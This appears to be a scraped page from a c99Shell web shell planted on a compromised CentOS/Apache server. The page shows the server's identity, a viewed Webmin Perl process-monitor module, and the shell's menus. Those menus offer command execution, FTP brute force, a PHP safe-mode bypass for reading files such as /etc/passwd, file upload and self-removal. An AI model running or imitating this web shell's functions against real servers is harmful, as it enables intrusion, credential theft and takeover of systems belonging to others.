!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/status/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     proc-monitor.pl (1.7 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# proc-monitor.pl
# Check if some process is running

sub get_proc_status
{
local (@found, $count);
return { 'up' => -1 } if (!&foreign_check("proc"));
&foreign_require("proc", "proc-lib.pl");
foreach $p (&foreign_call("proc", "list_processes")) {
    if (eval { $p->{'args'} =~ /$_[0]->{'cmd'}/i } &&
        (!$_[0]->{'asuser'} || $_[0]->{'asuser'} eq $p->{'user'})) {
        push(@found, $p->{'pid'});
        $count++;
        }
    }
local $thresh = $_[0]->{'thresh'} || 1;
if ($_[0]->{'not'}) {
    if ($count >= $thresh) {
        return { 'up' => 0, 'value' => $count };
        }
    else {
        return { 'up' => 1, 'value' => $count };
        }
    }
else {
    if ($count >= $thresh) {
        return { 'up' => 1,
             'desc' => &text('proc_pid', join(" ", @found)),
             'value' => $count };
        }
    else {
        return { 'up' => 0, 'value' => $count };
        }
    }
}

sub show_proc_dialog
{
print &ui_table_row($text{'proc_cmd'},
    &ui_textbox("cmd", $_[0]->{'cmd'}, 30));

print &ui_table_row($text{'proc_not'},
    &ui_radio("not", int($_[0]->{'not'}),
          [ [ 0, $text{'proc_not0'} ],
            [ 1, $text{'proc_not1'} ] ]));

print &ui_table_row($text{'proc_thresh'},
    &ui_textbox("thresh", $_[0]->{'thresh'} || 1, 5));

print &ui_table_row($text{'proc_asuser'},
    &ui_opt_textbox("asuser", $_[0]->{'asuser'}, 13,
            $text{'proc_anyuser'})." ".
    &user_chooser_button("asuser"));
}

sub parse_proc_dialog
{
&depends_check($_[0], "proc");
$in{'cmd'} || &error($text{'proc_ecmd'});
$_[0]->{'cmd'} = $in{'cmd'};
$_[0]->{'not'} = $in{'not'};
$in{'thresh'} =~ /^\d+$/ || &error($text{'proc_ethresh'});
$_[0]->{'thresh'} = $in{'thresh'};
if ($in{'asuser_def'}) {
    delete($_[0]->{'asuser'});
    }
else {
    defined(getpwnam($in{'asuser'})) || &error($text{'proc_easuser'});
    $_[0]->{'asuser'} = $in{'asuser'};
    }
}

1;


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0116 ]--